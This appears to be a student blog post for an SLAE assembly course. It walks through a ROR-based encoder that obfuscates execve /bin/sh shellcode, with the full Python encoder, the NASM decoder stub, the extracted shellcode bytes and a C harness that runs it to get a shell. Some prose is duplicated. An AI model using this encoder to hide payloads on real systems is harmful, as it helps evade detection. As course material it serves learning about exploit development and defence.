As the fourth part of my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) assignments, the task is to produce a working custom encoder shellcode of my own design.
The task description is to use a basic execve /bin/sh shellcode as the encoded payload but anything could be used as all the encoder will do would be to decode the payload and pass execution to it. One of the requirements of the resultant shellcode would be that it doesn't contain nulls, so it would make sense to be able to iterate through a range of encoders or keys to ensure that different payloads can be encoded without nulls in the resultant shellcode.
Since we already implemented an XOR encoder during the course, I've decided to use circular shift as the encoding technique because it is lossless & easy to implement at the assembler level. As a nice side-effect, the only way I could have a null in the encoded shellcode is by passing a null into it.
Using a similar methodology and the templates from the course, I put together a python script to encode the payload and a nasm file as the encoder stub, which then contains the encoded payload shellcode - this time using ROR by 4 bits.
https://github.com/pabb85/SLAE/blob/master/rot-encoder.py ;
https://github.com/pabb85/SLAE/blob/master/ror-decoder.nasm ;
Then use the objdump one-liner to extract the shellcode - n.b. this strangely misses one byte out (0x37), this caused a bit of frustration for me!! I will look into why this is the case but for now note that I have added it in below, in bold.
Finally, compile the shellcode.c with the new encoded shellcode within and test;
Great...! This worked in the end. The 0x37 issue was a bit annoying but I will try and figure out what was going wrong.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID: SLAE-469.
The task description is to use a basic execve /bin/sh shellcode as the encoded payload but anything could be used as all the encoder will do would be to decode the payload and pass execution to it. One of the requirements of the resultant shellcode would be that it doesn't contain nulls, so it would make sense to be able to iterate through a range of encoders or keys to ensure that different payloads can be encoded without nulls in the resultant shellcode.
Since we already implemented an XOR encoder during the course, I've decided to use circular shift as the encoding technique because it is lossless & easy to implement at the assembler level. As a nice side-effect, the only way I could have a null in the encoded shellcode is by passing a null into it.
Using a similar methodology and the templates from the course, I put together a python script to encode the payload and a nasm file as the encoder stub, which then contains the encoded payload shellcode - this time using ROR by 4 bits.
https://github.com/pabb85/SLAE/blob/master/rot-encoder.py ;
1: #!/usr/bin/python
2:
3: # Python ROR Encoder
4:
5: ror = lambda val, r_bits, max_bits: \
6: ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
7: (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
8:
9: #print "%x" % ror(0xff, 4, 8)
10: #print "%x" % ror(0x00, 4, 8)
11: #print "%x" % ror(0x1, 4, 8)
12: #print "%x" % ror(0xf, 4, 8)
13:
14:
15: shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
16: #shellcode = ("\x13\x0c\x05\x86\xf2\xf2\x37\x86\x86\xf2\x26\x96\xe6\x98\x3e\x05\x98\x2e\x35\x98\x1e\x0b\xb0\xdc\x08")
17:
18: encoded = ""
19: encoded2 = ""
20:
21: print 'Encoded shellcode ...'
22:
23: for x in bytearray(shellcode) :
24: # XOR Encoding
25: y = ror(x, 4, 8)
26: encoded += '\\x'
27: encoded += '%02x' % y
28:
29: encoded2 += '0x'
30: encoded2 += '%02x,' %y
31:
32:
33: print encoded
34:
35: print encoded2
36:
37: print 'Len: %d' % len(bytearray(shellcode))
38:
https://github.com/pabb85/SLAE/blob/master/ror-decoder.nasm ;
1: ; Filename: ror-decoder.nasm
2: ;
3: ; Purpose:
4:
5: global _start
6:
7: section .text
8: _start:
9:
10: jmp short call_decoder
11:
12: decoder:
13: pop esi
14: xor ecx, ecx
15: mov cl, 25
16:
17:
18: decode:
19: ror byte [esi], 4
20: inc esi
21: loop decode
22:
23: jmp short Shellcode
24:
25:
26:
27: call_decoder:
28:
29: call decoder
30: Shellcode: db 0x13,0x0c,0x05,0x86,0xf2,0xf2,0x37,0x86,0x86,0xf2,0x26,0x96,0xe6,0x98,0x3e,0x05,0x98,0x2e,0x35,0x98,0x1e,0x0b,0xb0,0xdc,0x08
31:
32:
Then use the objdump one-liner to extract the shellcode - n.b. this strangely misses one byte out (0x37), this caused a bit of frustration for me!! I will look into why this is the case but for now note that I have added it in below, in bold.
paul@SLAE001:~$ objdump -d ./ror-decoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x0d\x5e\x31\xc9\xb1\x19\xc0\x0e\x04\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff\x13\x0c\x05\x86\xf2\xf2\x37\x86\x86\xf2\x26\x96\xe6\x98\x3e\x05\x98\x2e\x35\x98\x1e\x0b\xb0\xdc\x08"
Finally, compile the shellcode.c with the new encoded shellcode within and test;
paul@SLAE001:~$ cat shellcode.c
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xeb\x0d\x5e\x31\xc9\xb1\x19\xc0\x0e\x04\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff\x13\x0c\x05\x86\xf2\xf2\x37\x86\x86\xf2\x26\x96\xe6\x98\x3e\x05\x98\x2e\x35\x98\x1e\x0b\xb0\xdc\x08";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
paul@SLAE001:~$ gcc shellcode.c -o shellcode -m32 -fno-stack-protector -z execstack
paul@SLAE001:~$ ./shellcode
Shellcode Length: 45
$ id
uid=1000(paul) gid=1000(paul) groups=1000(paul),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
$
Great...! This worked in the end. The 0x37 issue was a bit annoying but I will try and figure out what was going wrong.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID: SLAE-469.